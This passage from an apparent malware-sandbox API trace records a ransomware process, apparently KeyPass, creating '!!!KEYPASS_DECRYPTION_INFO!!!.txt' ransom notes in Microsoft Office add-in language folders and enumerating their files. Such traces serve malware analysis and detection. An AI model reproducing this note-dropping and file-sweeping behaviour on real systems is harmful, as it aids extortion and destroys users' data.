Add-in\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0253.152] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0253.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\fr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x890 [0253.189] GetFileType (hFile=0x890) returned 0x1 [0253.189] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0253.189] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0253.189] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0253.189] WriteFile (in: hFile=0x890, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0253.190] WriteFile (in: hFile=0x890, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0253.190] CloseHandle (hObject=0x890) returned 1 [0253.191] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39878f8 [0253.191] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.285] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.286] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0253.286] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.286] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\LocalizedStrings.xml") returned=".xml" [0253.286] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.286] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0253.286] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.286] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0253.286] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.286] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0253.286] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.286] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0253.286] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.286] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0253.286] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.286] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0253.286] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.286] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0253.286] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.286] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0253.286] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.287] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0253.287] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.287] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0253.287] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.287] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0253.287] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.287] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0253.287] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.287] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0253.287] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.287] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0253.287] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.287] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0253.287] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.287] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0253.287] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.287] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0253.287] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.287] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0253.287] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.287] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0253.288] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.288] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0253.288] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.288] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0253.288] FindNextFileW (in: hFindFile=0x39878f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0253.288] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0253.288] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0253.288] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0253.288] GetLastError () returned 0x3f0 [0253.288] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0253.288] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0253.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\gl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a0 [0253.300] GetFileType (hFile=0x8a0) returned 0x1 [0253.300] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0253.300] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0253.300] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0253.300] WriteFile (in: hFile=0x8a0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0253.301] WriteFile (in: hFile=0x8a0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0253.301] CloseHandle (hObject=0x8a0) returned 1 [0253.302] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987938 [0253.302] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.389] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.389] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0253.389] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.389] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\LocalizedStrings.xml") returned=".xml" [0253.390] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.390] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0253.390] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.390] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0253.390] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.390] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0253.390] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.390] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0253.390] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.390] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0253.390] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.390] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0253.390] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.390] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0253.390] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.390] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0253.390] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.390] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0253.390] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.390] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0253.390] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.390] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0253.390] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.390] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0253.390] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.390] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0253.390] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.391] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0253.391] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.391] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0253.391] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.391] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0253.391] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.391] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0253.391] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.391] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0253.391] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.391] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0253.391] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.391] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0253.391] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.391] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0253.391] FindNextFileW (in: hFindFile=0x3987938, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0253.391] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0253.391] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0253.391] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0253.391] GetLastError () returned 0x3f0 [0253.391] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0253.391] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0253.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\he\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8a4 [0253.396] GetFileType (hFile=0x8a4) returned 0x1 [0253.396] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0253.396] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0253.396] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0253.396] WriteFile (in: hFile=0x8a4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0253.397] WriteFile (in: hFile=0x8a4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0253.397] CloseHandle (hObject=0x8a4) returned 1 [0253.397] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987738 [0253.398] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.400] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.400] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0253.400] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.400] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml") returned=".xml" [0253.400] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.400] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0253.400] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.400] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0253.400] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.400] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0253.400] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.400] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0253.400] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.400] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0253.400] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.400] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0253.400] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.400] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0253.400] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.400] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0253.400] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0253.401] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0253.401] FindNextFileW (in: hFindFile=0x3987738, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0253.401] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft 